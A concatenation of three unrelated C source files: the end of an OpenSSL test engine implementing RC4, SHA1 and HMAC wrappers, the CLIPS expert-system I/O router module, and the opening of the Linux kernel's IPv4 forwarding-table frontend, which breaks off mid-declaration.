== NULL || !EVP_CIPHER_meth_set_iv_length(cipher, 0) || !EVP_CIPHER_meth_set_flags(cipher, EVP_CIPH_VARIABLE_LENGTH) || !EVP_CIPHER_meth_set_init(cipher, test_rc4_init_key) || !EVP_CIPHER_meth_set_do_cipher(cipher, test_rc4_cipher) || !EVP_CIPHER_meth_set_impl_ctx_size(cipher, sizeof(TEST_RC4_KEY))) { EVP_CIPHER_meth_free(cipher); cipher = NULL; } r4_40_cipher = cipher; } return r4_40_cipher; } static void test_r4_40_cipher_destroy(void) { EVP_CIPHER_meth_free(r4_40_cipher); r4_40_cipher = NULL; } static int test_cipher_nids(const int **nids) { static int cipher_nids[4] = { 0, 0, 0, 0 }; static int pos = 0; static int init = 0; if (!init) { const EVP_CIPHER *cipher; if ((cipher = test_r4_cipher()) != NULL) cipher_nids[pos++] = EVP_CIPHER_nid(cipher); if ((cipher = test_r4_40_cipher()) != NULL) cipher_nids[pos++] = EVP_CIPHER_nid(cipher); cipher_nids[pos] = 0; init = 1; } *nids = cipher_nids; return pos; } static int openssl_ciphers(ENGINE *e, const EVP_CIPHER **cipher, const int **nids, int nid) { if (!cipher) { /* We are returning a list of supported nids */ return test_cipher_nids(nids); } /* We are being asked for a specific cipher */ if (nid == NID_rc4) *cipher = test_r4_cipher(); else if (nid == NID_rc4_40) *cipher = test_r4_40_cipher(); else { # ifdef TEST_ENG_OPENSSL_RC4_OTHERS fprintf(stderr, "(TEST_ENG_OPENSSL_RC4) returning NULL for " "nid %d\n", nid); # endif *cipher = NULL; return 0; } return 1; } #endif #ifdef TEST_ENG_OPENSSL_SHA /* Much the same sort of comment as for TEST_ENG_OPENSSL_RC4 */ # include <openssl/sha.h> static int test_sha1_init(EVP_MD_CTX *ctx) { # ifdef TEST_ENG_OPENSSL_SHA_P_INIT fprintf(stderr, "(TEST_ENG_OPENSSL_SHA) test_sha1_init() called\n"); # endif return SHA1_Init(EVP_MD_CTX_md_data(ctx)); } static int test_sha1_update(EVP_MD_CTX *ctx, const void *data, size_t count) { # ifdef TEST_ENG_OPENSSL_SHA_P_UPDATE fprintf(stderr, "(TEST_ENG_OPENSSL_SHA) test_sha1_update() called\n"); # endif return SHA1_Update(EVP_MD_CTX_md_data(ctx), data, count); } static int test_sha1_final(EVP_MD_CTX *ctx, unsigned char *md) { # ifdef TEST_ENG_OPENSSL_SHA_P_FINAL fprintf(stderr, "(TEST_ENG_OPENSSL_SHA) test_sha1_final() called\n"); # endif return SHA1_Final(md, EVP_MD_CTX_md_data(ctx)); } static EVP_MD *sha1_md = NULL; static const EVP_MD *test_sha_md(void) { if (sha1_md == NULL) { EVP_MD *md; if ((md = EVP_MD_meth_new(NID_sha1, NID_sha1WithRSAEncryption)) == NULL || !EVP_MD_meth_set_result_size(md, SHA_DIGEST_LENGTH) || !EVP_MD_meth_set_input_blocksize(md, SHA_CBLOCK) || !EVP_MD_meth_set_app_datasize(md, sizeof(EVP_MD *) + sizeof(SHA_CTX)) || !EVP_MD_meth_set_flags(md, 0) || !EVP_MD_meth_set_init(md, test_sha1_init) || !EVP_MD_meth_set_update(md, test_sha1_update) || !EVP_MD_meth_set_final(md, test_sha1_final)) { EVP_MD_meth_free(md); md = NULL; } sha1_md = md; } return sha1_md; } static void test_sha_md_destroy(void) { EVP_MD_meth_free(sha1_md); sha1_md = NULL; } static int test_digest_nids(const int **nids) { static int digest_nids[2] = { 0, 0 }; static int pos = 0; static int init = 0; if (!init) { const EVP_MD *md; if ((md = test_sha_md()) != NULL) digest_nids[pos++] = EVP_MD_type(md); digest_nids[pos] = 0; init = 1; } *nids = digest_nids; return pos; } static int openssl_digests(ENGINE *e, const EVP_MD **digest, const int **nids, int nid) { if (!digest) { /* We are returning a list of supported nids */ return test_digest_nids(nids); } /* We are being asked for a specific digest */ if (nid == NID_sha1) *digest = test_sha_md(); else { # ifdef TEST_ENG_OPENSSL_SHA_OTHERS fprintf(stderr, "(TEST_ENG_OPENSSL_SHA) returning NULL for " "nid %d\n", nid); # endif *digest = NULL; return 0; } return 1; } #endif #ifdef TEST_ENG_OPENSSL_PKEY static EVP_PKEY *openssl_load_privkey(ENGINE *eng, const char *key_id, UI_METHOD *ui_method, void *callback_data) { BIO *in; EVP_PKEY *key; fprintf(stderr, "(TEST_ENG_OPENSSL_PKEY)Loading Private key %s\n", key_id); in = BIO_new_file(key_id, "r"); if (!in) return NULL; key = PEM_read_bio_PrivateKey(in, NULL, 0, NULL); BIO_free(in); return key; } #endif #ifdef TEST_ENG_OPENSSL_HMAC /* * Experimental HMAC redirection implementation: mainly copied from * hm_pmeth.c */ /* HMAC pkey context structure */ typedef struct { const EVP_MD *md; /* MD for HMAC use */ ASN1_OCTET_STRING ktmp; /* Temp storage for key */ HMAC_CTX *ctx; } OSSL_HMAC_PKEY_CTX; static int ossl_hmac_init(EVP_PKEY_CTX *ctx) { OSSL_HMAC_PKEY_CTX *hctx; if ((hctx = OPENSSL_zalloc(sizeof(*hctx))) == NULL) { ENGINEerr(ENGINE_F_OSSL_HMAC_INIT, ERR_R_MALLOC_FAILURE); return 0; } hctx->ktmp.type = V_ASN1_OCTET_STRING; hctx->ctx = HMAC_CTX_new(); if (hctx->ctx == NULL) { OPENSSL_free(hctx); return 0; } EVP_PKEY_CTX_set_data(ctx, hctx); EVP_PKEY_CTX_set0_keygen_info(ctx, NULL, 0); # ifdef TEST_ENG_OPENSSL_HMAC_INIT fprintf(stderr, "(TEST_ENG_OPENSSL_HMAC) ossl_hmac_init() called\n"); # endif return 1; } static void ossl_hmac_cleanup(EVP_PKEY_CTX *ctx); static int ossl_hmac_copy(EVP_PKEY_CTX *dst, EVP_PKEY_CTX *src) { OSSL_HMAC_PKEY_CTX *sctx, *dctx; /* allocate memory for dst->data and a new HMAC_CTX in dst->data->ctx */ if (!ossl_hmac_init(dst)) return 0; sctx = EVP_PKEY_CTX_get_data(src); dctx = EVP_PKEY_CTX_get_data(dst); dctx->md = sctx->md; if (!HMAC_CTX_copy(dctx->ctx, sctx->ctx)) goto err; if (sctx->ktmp.data) { if (!ASN1_OCTET_STRING_set(&dctx->ktmp, sctx->ktmp.data, sctx->ktmp.length)) goto err; } return 1; err: /* release HMAC_CTX in dst->data->ctx and memory allocated for dst->data */ ossl_hmac_cleanup(dst); return 0; } static void ossl_hmac_cleanup(EVP_PKEY_CTX *ctx) { OSSL_HMAC_PKEY_CTX *hctx = EVP_PKEY_CTX_get_data(ctx); if (hctx) { HMAC_CTX_free(hctx->ctx); OPENSSL_clear_free(hctx->ktmp.data, hctx->ktmp.length); OPENSSL_free(hctx); EVP_PKEY_CTX_set_data(ctx, NULL); } } static int ossl_hmac_keygen(EVP_PKEY_CTX *ctx, EVP_PKEY *pkey) { ASN1_OCTET_STRING *hkey = NULL; OSSL_HMAC_PKEY_CTX *hctx = EVP_PKEY_CTX_get_data(ctx); if (!hctx->ktmp.data) return 0; hkey = ASN1_OCTET_STRING_dup(&hctx->ktmp); if (!hkey) return 0; EVP_PKEY_assign(pkey, EVP_PKEY_HMAC, hkey); return 1; } static int ossl_int_update(EVP_MD_CTX *ctx, const void *data, size_t count) { OSSL_HMAC_PKEY_CTX *hctx = EVP_PKEY_CTX_get_data(EVP_MD_CTX_pkey_ctx(ctx)); if (!HMAC_Update(hctx->ctx, data, count)) return 0; return 1; } static int ossl_hmac_signctx_init(EVP_PKEY_CTX *ctx, EVP_MD_CTX *mctx) { EVP_MD_CTX_set_flags(mctx, EVP_MD_CTX_FLAG_NO_INIT); EVP_MD_CTX_set_update_fn(mctx, ossl_int_update); return 1; } static int ossl_hmac_signctx(EVP_PKEY_CTX *ctx, unsigned char *sig, size_t *siglen, EVP_MD_CTX *mctx) { unsigned int hlen; OSSL_HMAC_PKEY_CTX *hctx = EVP_PKEY_CTX_get_data(ctx); int l = EVP_MD_CTX_size(mctx); if (l < 0) return 0; *siglen = l; if (!sig) return 1; if (!HMAC_Final(hctx->ctx, sig, &hlen)) return 0; *siglen = (size_t)hlen; return 1; } static int ossl_hmac_ctrl(EVP_PKEY_CTX *ctx, int type, int p1, void *p2) { OSSL_HMAC_PKEY_CTX *hctx = EVP_PKEY_CTX_get_data(ctx); EVP_PKEY *pk; ASN1_OCTET_STRING *key; switch (type) { case EVP_PKEY_CTRL_SET_MAC_KEY: if ((!p2 && p1 > 0) || (p1 < -1)) return 0; if (!ASN1_OCTET_STRING_set(&hctx->ktmp, p2, p1)) return 0; break; case EVP_PKEY_CTRL_MD: hctx->md = p2; break; case EVP_PKEY_CTRL_DIGESTINIT: pk = EVP_PKEY_CTX_get0_pkey(ctx); key = EVP_PKEY_get0(pk); if (!HMAC_Init_ex(hctx->ctx, key->data, key->length, hctx->md, NULL)) return 0; break; default: return -2; } return 1; } static int ossl_hmac_ctrl_str(EVP_PKEY_CTX *ctx, const char *type, const char *value) { if (!value) { return 0; } if (strcmp(type, "key") == 0) { void *p = (void *)value; return ossl_hmac_ctrl(ctx, EVP_PKEY_CTRL_SET_MAC_KEY, -1, p); } if (strcmp(type, "hexkey") == 0) { unsigned char *key; int r; long keylen; key = OPENSSL_hexstr2buf(value, &keylen); if (!key) return 0; r = ossl_hmac_ctrl(ctx, EVP_PKEY_CTRL_SET_MAC_KEY, keylen, key); OPENSSL_free(key); return r; } return -2; } static EVP_PKEY_METHOD *ossl_hmac_meth; static int ossl_register_hmac_meth(void) { EVP_PKEY_METHOD *meth; meth = EVP_PKEY_meth_new(EVP_PKEY_HMAC, 0); if (meth == NULL) return 0; EVP_PKEY_meth_set_init(meth, ossl_hmac_init); EVP_PKEY_meth_set_copy(meth, ossl_hmac_copy); EVP_PKEY_meth_set_cleanup(meth, ossl_hmac_cleanup); EVP_PKEY_meth_set_keygen(meth, 0, ossl_hmac_keygen); EVP_PKEY_meth_set_signctx(meth, ossl_hmac_signctx_init, ossl_hmac_signctx); EVP_PKEY_meth_set_ctrl(meth, ossl_hmac_ctrl, ossl_hmac_ctrl_str); ossl_hmac_meth = meth; return 1; } static int ossl_pkey_meths(ENGINE *e, EVP_PKEY_METHOD **pmeth, const int **nids, int nid) { static int ossl_pkey_nids[] = { EVP_PKEY_HMAC, 0 }; if (pmeth == NULL) { *nids = ossl_pkey_nids; return 1; } if (nid == EVP_PKEY_HMAC) { *pmeth = ossl_hmac_meth; return 1; } *pmeth = NULL; return 0; } #endif int openssl_destroy(ENGINE *e) { test_sha_md_destroy(); #ifdef TEST_ENG_OPENSSL_RC4 test_r4_cipher_destroy(); test_r4_40_cipher_destroy(); #endif return 1; }
271712.c
/*******************************************************/ /* "C" Language Integrated Production System */ /* */ /* CLIPS Version 6.30 03/05/08 */ /* */ /* I/O ROUTER MODULE */ /*******************************************************/ /*************************************************************/ /* Purpose: Provides a centralized mechanism for handling */ /* input and output requests. */ /* */ /* Principal Programmer(s): */ /* Gary D. Riley */ /* */ /* Contributing Programmer(s): */ /* Brian L. Dantes */ /* */ /* Revision History: */ /* 6.24: Removed conversion of '\r' to '\n' from the */ /* EnvGetcRouter function. */ /* */ /* Renamed BOOLEAN macro type to intBool. */ /* */ /* Added support for passing context information */ /* to the router functions. */ /* */ /* 6.30: Fixed issues with passing context to routers. */ /* */ /*************************************************************/ #define _ROUTER_SOURCE_ #include <stdio.h> #define _STDIO_INCLUDED_ #include <stdlib.h> #include <string.h> #include "setup.h" #include "argacces.h" #include "constant.h" #include "envrnmnt.h" #include "extnfunc.h" #include "filertr.h" #include "memalloc.h" #include "strngrtr.h" #include "sysdep.h" #include "router.h" /***************************************/ /* LOCAL INTERNAL FUNCTION DEFINITIONS */ /***************************************/ static int QueryRouter(void *,char *,struct router *); static void DeallocateRouterData(void *); /*********************************************************/ /* InitializeDefaultRouters: Initializes output streams. */ /*********************************************************/ globle void InitializeDefaultRouters( void *theEnv) { AllocateEnvironmentData(theEnv,ROUTER_DATA,sizeof(struct routerData),DeallocateRouterData); RouterData(theEnv)->CommandBufferInputCount = 0; RouterData(theEnv)->AwaitingInput = TRUE; #if (! RUN_TIME) EnvDefineFunction2(theEnv,"exit", 'v', PTIEF ExitCommand, "ExitCommand", "*1i"); #endif InitializeFileRouter(theEnv); InitializeStringRouter(theEnv); } /*************************************************/ /* DeallocateRouterData: Deallocates environment */ /* data for I/O routers. */ /*************************************************/ static void DeallocateRouterData( void *theEnv) { struct router *tmpPtr, *nextPtr; tmpPtr = RouterData(theEnv)->ListOfRouters; while (tmpPtr != NULL) { nextPtr = tmpPtr->next; genfree(theEnv,tmpPtr->name,strlen(tmpPtr->name) + 1); rtn_struct(theEnv,router,tmpPtr); tmpPtr = nextPtr; } } /*******************************************/ /* EnvPrintRouter: Generic print function. */ /*******************************************/ globle int EnvPrintRouter( void *theEnv, char *logicalName, char *str) { struct router *currentPtr; /*===================================================*/ /* If the "fast save" option is being used, then the */ /* logical name is actually a pointer to a file and */ /* fprintf can be called directly to bypass querying */ /* all of the routers. */ /*===================================================*/ if (((char *) RouterData(theEnv)->FastSaveFilePtr) == logicalName) { fprintf(RouterData(theEnv)->FastSaveFilePtr,"%s",str); return(2); } /*==============================================*/ /* Search through the list of routers until one */ /* is found that will handle the print request. */ /*==============================================*/ // added DATA_BEGIN, END currentPtr = RouterData(theEnv)->ListOfRouters; while (currentPtr != NULL) { if ((currentPtr->printer != NULL) ? QueryRouter(theEnv,logicalName,currentPtr) : FALSE) { SetEnvironmentRouterContext(theEnv,currentPtr->context); if (currentPtr->environmentAware) { (*currentPtr->printer)(theEnv,logicalName,"\x02verbatim:"); (*currentPtr->printer)(theEnv,logicalName,str); (*currentPtr->printer)(theEnv,logicalName,"\x05"); } else { ((int (*)(char *,char *)) (*currentPtr->printer))(logicalName,str); } return(1); } currentPtr = currentPtr->next; } /*=====================================================*/ /* The logical name was not recognized by any routers. */ /*=====================================================*/ if (strcmp(WERROR,logicalName) != 0) UnrecognizedRouterMessage(theEnv,logicalName); return(0); } /**************************************************/ /* EnvGetcRouter: Generic get character function. */ /**************************************************/ globle int EnvGetcRouter( void *theEnv, char *logicalName) { struct router *currentPtr; int inchar; /*===================================================*/ /* If the "fast load" option is being used, then the */ /* logical name is actually a pointer to a file and */ /* getc can be called directly to bypass querying */ /* all of the routers. */ /*===================================================*/ if (((char *) RouterData(theEnv)->FastLoadFilePtr) == logicalName) { inchar = getc(RouterData(theEnv)->FastLoadFilePtr); if ((inchar == '\r') || (inchar == '\n')) { if (((char *) RouterData(theEnv)->FastLoadFilePtr) == RouterData(theEnv)->LineCountRouter) { IncrementLineCount(theEnv); } } /* if (inchar == '\r') return('\n'); */ return(inchar); } /*===============================================*/ /* If the "fast string get" option is being used */ /* for the specified logical name, then bypass */ /* the router system and extract the character */ /* directly from the fast get string. */ /*===============================================*/ if (RouterData(theEnv)->FastCharGetRouter == logicalName) { inchar = (unsigned char) RouterData(theEnv)->FastCharGetString[RouterData(theEnv)->FastCharGetIndex]; RouterData(theEnv)->FastCharGetIndex++; if (inchar == '\0') return(EOF); if ((inchar == '\r') || (inchar == '\n')) { if (RouterData(theEnv)->FastCharGetRouter == RouterData(theEnv)->LineCountRouter) { IncrementLineCount(theEnv); } } return(inchar); } /*==============================================*/ /* Search through the list of routers until one */ /* is found that will handle the getc request. */ /*==============================================*/ currentPtr = RouterData(theEnv)->ListOfRouters; while (currentPtr != NULL) { if ((currentPtr->charget != NULL) ? QueryRouter(theEnv,logicalName,currentPtr) : FALSE) { SetEnvironmentRouterContext(theEnv,currentPtr->context); if (currentPtr->environmentAware) { inchar = (*currentPtr->charget)(theEnv,logicalName); } else { inchar = ((int (*)(char *)) (*currentPtr->charget))(logicalName); } if ((inchar == '\r') || (inchar == '\n')) { if ((RouterData(theEnv)->LineCountRouter != NULL) && (strcmp(logicalName,RouterData(theEnv)->LineCountRouter) == 0)) { IncrementLineCount(theEnv); } } return(inchar); } currentPtr = currentPtr->next; } /*=====================================================*/ /* The logical name was not recognized by any routers. */ /*=====================================================*/ UnrecognizedRouterMessage(theEnv,logicalName); return(-1); } /******************************************************/ /* EnvUngetcRouter: Generic unget character function. */ /******************************************************/ globle int EnvUngetcRouter( void *theEnv, int ch, char *logicalName) { struct router *currentPtr; /*===================================================*/ /* If the "fast load" option is being used, then the */ /* logical name is actually a pointer to a file and */ /* ungetc can be called directly to bypass querying */ /* all of the routers. */ /*===================================================*/ if (((char *) RouterData(theEnv)->FastLoadFilePtr) == logicalName) { if ((ch == '\r') || (ch == '\n')) { if (((char *) RouterData(theEnv)->FastLoadFilePtr) == RouterData(theEnv)->LineCountRouter) { DecrementLineCount(theEnv); } } return(ungetc(ch,RouterData(theEnv)->FastLoadFilePtr)); } /*===============================================*/ /* If the "fast string get" option is being used */ /* for the specified logical name, then bypass */ /* the router system and unget the character */ /* directly from the fast get string. */ /*===============================================*/ if (RouterData(theEnv)->FastCharGetRouter == logicalName) { if ((ch == '\r') || (ch == '\n')) { if (RouterData(theEnv)->FastCharGetRouter == RouterData(theEnv)->LineCountRouter) { DecrementLineCount(theEnv); } } if (RouterData(theEnv)->FastCharGetIndex > 0) RouterData(theEnv)->FastCharGetIndex--; return(ch); } /*===============================================*/ /* Search through the list of routers until one */ /* is found that will handle the ungetc request. */ /*===============================================*/ currentPtr = RouterData(theEnv)->ListOfRouters; while (currentPtr != NULL) { if ((currentPtr->charunget != NULL) ? QueryRouter(theEnv,logicalName,currentPtr) : FALSE) { if ((ch == '\r') || (ch == '\n')) { if ((RouterData(theEnv)->LineCountRouter != NULL) && (strcmp(logicalName,RouterData(theEnv)->LineCountRouter) == 0)) { DecrementLineCount(theEnv); } } SetEnvironmentRouterContext(theEnv,currentPtr->context); if (currentPtr->environmentAware) { return((*currentPtr->charunget)(theEnv,ch,logicalName)); } else { return(((int (*)(int,char *)) (*currentPtr->charunget))(ch,logicalName)); } } currentPtr = currentPtr->next; } /*=====================================================*/ /* The logical name was not recognized by any routers. */ /*=====================================================*/ UnrecognizedRouterMessage(theEnv,logicalName); return(-1); } /*****************************************************/ /* ExitCommand: H/L command for exiting the program. */ /*****************************************************/ globle void ExitCommand( void *theEnv) { int argCnt; int status; if ((argCnt = EnvArgCountCheck(theEnv,"exit",NO_MORE_THAN,1)) == -1) return; if (argCnt == 0) { EnvExitRouter(theEnv,EXIT_SUCCESS); } else { status = (int) EnvRtnLong(theEnv,1); if (GetEvaluationError(theEnv)) return; EnvExitRouter(theEnv,status); } return; } /***********************************************/ /* EnvExitRouter: Generic exit function. Calls */ /* all of the router exit functions. */ /***********************************************/ globle void EnvExitRouter( void *theEnv, int num) { struct router *currentPtr, *nextPtr; RouterData(theEnv)->Abort = FALSE; currentPtr = RouterData(theEnv)->ListOfRouters; while (currentPtr != NULL) { nextPtr = currentPtr->next; if (currentPtr->active == TRUE) { if (currentPtr->exiter != NULL) { SetEnvironmentRouterContext(theEnv,currentPtr->context); if (currentPtr->environmentAware) { (*currentPtr->exiter)(theEnv,num); } else { ((int (*)(int))(*currentPtr->exiter))(num); } } } currentPtr = nextPtr; } if (RouterData(theEnv)->Abort) return; genexit(theEnv,num); } /********************************************/ /* AbortExit: Forces ExitRouter to terminate */ /* after calling all closing routers. */ /********************************************/ globle void AbortExit( void *theEnv) { RouterData(theEnv)->Abort = TRUE; } #if ALLOW_ENVIRONMENT_GLOBALS /*********************************************************/ /* AddRouter: Adds an I/O router to the list of routers. */ /*********************************************************/ globle intBool AddRouter( char *routerName, int priority, int (*queryFunction)(char *), int (*printFunction)(char *,char *), int (*getcFunction)(char *), int (*ungetcFunction)(int,char *), int (*exitFunction)(int)) { struct router *newPtr, *lastPtr, *currentPtr; void *theEnv; char *nameCopy; theEnv = GetCurrentEnvironment(); newPtr = get_struct(theEnv,router); nameCopy = (char *) genalloc(theEnv,strlen(routerName) + 1); genstrcpy(nameCopy,routerName); newPtr->name = nameCopy; newPtr->active = TRUE; newPtr->environmentAware = FALSE; newPtr->priority = priority; newPtr->context = NULL; newPtr->query = (int (*)(void *,char *)) queryFunction; newPtr->printer = (int (*)(void *,char *,char *)) printFunction; newPtr->exiter = (int (*)(void *,int)) exitFunction; newPtr->charget = (int (*)(void *,char *)) getcFunction; newPtr->charunget = (int (*)(void *,int,char *)) ungetcFunction; newPtr->next = NULL; if (RouterData(theEnv)->ListOfRouters == NULL) { RouterData(theEnv)->ListOfRouters = newPtr; return(1); } lastPtr = NULL; currentPtr = RouterData(theEnv)->ListOfRouters; while ((currentPtr != NULL) ? (priority < currentPtr->priority) : FALSE) { lastPtr = currentPtr; currentPtr = currentPtr->next; } if (lastPtr == NULL) { newPtr->next = RouterData(theEnv)->ListOfRouters; RouterData(theEnv)->ListOfRouters = newPtr; } else { newPtr->next = currentPtr; lastPtr->next = newPtr; } return(1); } #endif /************************************************************/ /* EnvAddRouter: Adds an I/O router to the list of routers. */ /************************************************************/ globle intBool EnvAddRouter( void *theEnv, char *routerName, int priority, int (*queryFunction)(void *,char *), int (*printFunction)(void *,char *,char *), int (*getcFunction)(void *,char *), int (*ungetcFunction)(void *,int,char *), int (*exitFunction)(void *,int)) { return EnvAddRouterWithContext(theEnv,routerName,priority, queryFunction,printFunction,getcFunction, ungetcFunction,exitFunction,NULL); } /***********************************************************************/ /* EnvAddRouterWithContext: Adds an I/O router to the list of routers. */ /***********************************************************************/ globle intBool EnvAddRouterWithContext( void *theEnv, char *routerName, int priority, int (*queryFunction)(void *,char *), int (*printFunction)(void *,char *,char *), int (*getcFunction)(void *,char *), int (*ungetcFunction)(void *,int,char *), int (*exitFunction)(void *,int), void *context) { struct router *newPtr, *lastPtr, *currentPtr; char *nameCopy; newPtr = get_struct(theEnv,router); nameCopy = (char *) genalloc(theEnv,strlen(routerName) + 1); genstrcpy(nameCopy,routerName); newPtr->name = nameCopy; newPtr->active = TRUE; newPtr->environmentAware = TRUE; newPtr->context = context; newPtr->priority = priority; newPtr->query = queryFunction; newPtr->printer = printFunction; newPtr->exiter = exitFunction; newPtr->charget = getcFunction; newPtr->charunget = ungetcFunction; newPtr->next = NULL; if (RouterData(theEnv)->ListOfRouters == NULL) { RouterData(theEnv)->ListOfRouters = newPtr; return(1); } lastPtr = NULL; currentPtr = RouterData(theEnv)->ListOfRouters; while ((currentPtr != NULL) ? (priority < currentPtr->priority) : FALSE) { lastPtr = currentPtr; currentPtr = currentPtr->next; } if (lastPtr == NULL) { newPtr->next = RouterData(theEnv)->ListOfRouters; RouterData(theEnv)->ListOfRouters = newPtr; } else { newPtr->next = currentPtr; lastPtr->next = newPtr; } return(1); } /*****************************************************************/ /* EnvDeleteRouter: Removes an I/O router from the list of routers. */ /*****************************************************************/ globle int EnvDeleteRouter( void *theEnv, char *routerName) { struct router *currentPtr, *lastPtr; currentPtr = RouterData(theEnv)->ListOfRouters; lastPtr = NULL; while (currentPtr != NULL) { if (strcmp(currentPtr->name,routerName) == 0) { genfree(theEnv,currentPtr->name,strlen(currentPtr->name) + 1); if (lastPtr == NULL) { RouterData(theEnv)->ListOfRouters = currentPtr->next; rm(theEnv,currentPtr,(int) sizeof(struct router)); return(1); } lastPtr->next = currentPtr->next; rm(theEnv,currentPtr,(int) sizeof(struct router)); return(1); } lastPtr = currentPtr; currentPtr = currentPtr->next; } return(0); } /*********************************************************************/ /* QueryRouters: Determines if any router recognizes a logical name. */ /*********************************************************************/ globle int QueryRouters( void *theEnv, char *logicalName) { struct router *currentPtr; currentPtr = RouterData(theEnv)->ListOfRouters; while (currentPtr != NULL) { if (QueryRouter(theEnv,logicalName,currentPtr) == TRUE) return(TRUE); currentPtr = currentPtr->next; } return(FALSE); } /************************************************/ /* QueryRouter: Determines if a specific router */ /* recognizes a logical name. */ /************************************************/ static int QueryRouter( void *theEnv, char *logicalName, struct router *currentPtr) { /*===================================================*/ /* If the router is inactive, then it can't respond. */ /*===================================================*/ if (currentPtr->active == FALSE) { return(FALSE); } /*=============================================================*/ /* If the router has no query function, then it can't respond. */ /*=============================================================*/ if (currentPtr->query == NULL) return(FALSE); /*=========================================*/ /* Call the router's query function to see */ /* if it recognizes the logical name. */ /*=========================================*/ SetEnvironmentRouterContext(theEnv,currentPtr->context); if (currentPtr->environmentAware) { if ((*currentPtr->query)(theEnv,logicalName) == TRUE) { return(TRUE); } } else { if (((int (*)(char *)) (*currentPtr->query))(logicalName) == TRUE) { return(TRUE); } } return(FALSE); } /*******************************************************/ /* EnvDeactivateRouter: Deactivates a specific router. */ /*******************************************************/ globle int EnvDeactivateRouter( void *theEnv, char *routerName) { struct router *currentPtr; currentPtr = RouterData(theEnv)->ListOfRouters; while (currentPtr != NULL) { if (strcmp(currentPtr->name,routerName) == 0) { currentPtr->active = FALSE; return(TRUE); } currentPtr = currentPtr->next; } return(FALSE); } /***************************************************/ /* EnvActivateRouter: Activates a specific router. */ /***************************************************/ globle int EnvActivateRouter( void *theEnv, char *routerName) { struct router *currentPtr; currentPtr = RouterData(theEnv)->ListOfRouters; while (currentPtr != NULL) { if (strcmp(currentPtr->name,routerName) == 0) { currentPtr->active = TRUE; return(TRUE); } currentPtr = currentPtr->next; } return(FALSE); } /********************************************************/ /* SetFastLoad: Used to bypass router system for loads. */ /********************************************************/ globle void SetFastLoad( void *theEnv, FILE *filePtr) { RouterData(theEnv)->FastLoadFilePtr = filePtr; } /********************************************************/ /* SetFastSave: Used to bypass router system for saves. */ /********************************************************/ globle void SetFastSave( void *theEnv, FILE *filePtr) { RouterData(theEnv)->FastSaveFilePtr = filePtr; } /******************************************************/ /* GetFastLoad: Returns the "fast load" file pointer. */ /******************************************************/ globle FILE *GetFastLoad( void *theEnv) { return(RouterData(theEnv)->FastLoadFilePtr); } /******************************************************/ /* GetFastSave: Returns the "fast save" file pointer. */ /******************************************************/ globle FILE *GetFastSave( void *theEnv) { return(RouterData(theEnv)->FastSaveFilePtr); } /*****************************************************/ /* UnrecognizedRouterMessage: Standard error message */ /* for an unrecognized router name. */ /*****************************************************/ globle void UnrecognizedRouterMessage( void *theEnv, char *logicalName) { PrintErrorID(theEnv,"ROUTER",1,FALSE); EnvPrintRouter(theEnv,WERROR,"Logical name "); EnvPrintRouter(theEnv,WERROR,logicalName); EnvPrintRouter(theEnv,WERROR," was not recognized by any routers\n"); } /*****************************************/ /* PrintNRouter: Generic print function. */ /*****************************************/ globle int PrintNRouter( void *theEnv, char *logicalName, char *str, unsigned long length) { char *tempStr; int rv; tempStr = (char *) genalloc(theEnv,length+1); genstrncpy(tempStr,str,length); tempStr[length] = 0; rv = EnvPrintRouter(theEnv,logicalName,tempStr); genfree(theEnv,tempStr,length+1); return(rv); }
177831.c
/* * INET An implementation of the TCP/IP protocol suite for the LINUX * operating system. INET is implemented using the BSD Socket * interface as the means of communication with the user level. * * IPv4 Forwarding Information Base: FIB frontend. * * Authors: Alexey Kuznetsov, <[email protected]> * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version * 2 of the License, or (at your option) any later version. */ #include <linux/module.h> #include <asm/uaccess.h> #include <asm/system.h> #include <linux/bitops.h> #include <linux/capability.h> #include <linux/types.h> #include <linux/kernel.h> #include <linux/mm.h> #include <linux/string.h> #include <linux/socket.h> #include <linux/sockios.h> #include <linux/errno.h> #include <linux/in.h> #include <linux/inet.h> #include <linux/inetdevice.h> #include <linux/netdevice.h> #include <linux/if_addr.h> #include <linux/if_arp.h> #include <linux/skbuff.h> #include <linux/init.h> #include <linux/list.h> #include <linux/slab.h> #include <net/ip.h> #include <net/protocol.h> #include <net/route.h> #include <net/tcp.h> #include <net/sock.h> #include <net/arp.h> #include <net/ip_fib.h> #include <net/rtnetlink.h> #ifndef CONFIG_IP_MULTIPLE_TABLES static int __net_init fib4_rules_init(struct net *net) { struct fib_table *local_table, *main_table; local_table = fib_hash_table(RT_TABLE_LOCAL); if (local_table == NULL) return -ENOMEM; main_table = fib_hash_table(RT_TABLE_MAIN); if (main_table == NULL) goto fail; hlist_add_head_rcu(&local_table->tb_hlist, &net->ipv4.fib_table_hash[TABLE_LOCAL_INDEX]); hlist_add_head_rcu(&main_table->tb_hlist, &net->ipv4.fib_table_hash[TABLE_MAIN_INDEX]); return 0; fail: kfree(local_table); return -ENOMEM; } #else struct fib_table *fib_new_table(struct net *net, u32 id) { struct fib_table *tb; unsigned int h; if (id == 0) id = RT_TABLE_MAIN; tb = fib_get_table(net, id); if (tb) return tb; tb = fib_hash_table(id); if (!tb) return NULL; h = id & (FIB_TABLE_HASHSZ - 1); hlist_add_head_rcu(&tb->tb_hlist, &net->ipv4.fib_table_hash[h]); return tb; } struct fib_table *fib_get_table(struct net *net, u32 id) { struct fib_table *tb; struct hlist_node *node; struct hlist_head *head; unsigned int h; if (id == 0) id = RT_TABLE_MAIN; h = id & (FIB_TABLE_HASHSZ - 1); rcu_read_lock(); head = &net->ipv4.fib_table_hash[h]; hlist_for_each_entry_rcu(tb, node, head, tb_hlist) { if (tb->tb_id == id) { rcu_read_unlock(); return tb; } } rcu_read_unlock(); return NULL; } #endif /* CONFIG_IP_MULTIPLE_TABLES */ void fib_select_default(struct net *net, const struct flowi *flp, struct fib_result *res) { struct fib_table *tb; int table = RT_TABLE_MAIN; #ifdef CONFIG_IP_MULTIPLE_TABLES if (res->r == NULL || res->r->action != FR_ACT_TO_TBL) return; table = res->r->table; #endif tb = fib_get_table(net, table); if (FIB_RES_GW(*res) && FIB_RES_NH(*res).nh_scope == RT_SCOPE_LINK) fib_table_select_default(tb, flp, res); } static void fib_flush(struct net *net) { int flushed = 0; struct fib_table *tb; struct hlist_node *node; struct hlist_head *head; unsigned int h; for (h = 0; h < FIB_TABLE_HASHSZ; h++) { head = &net->ipv4.fib_table_hash[h]; hlist_for_each_entry(tb, node, head, tb_hlist) flushed += fib_table_flush(tb); } if (flushed) rt_cache_flush(net, -1); } /* * Find the first device with a given source address. */ struct net_device 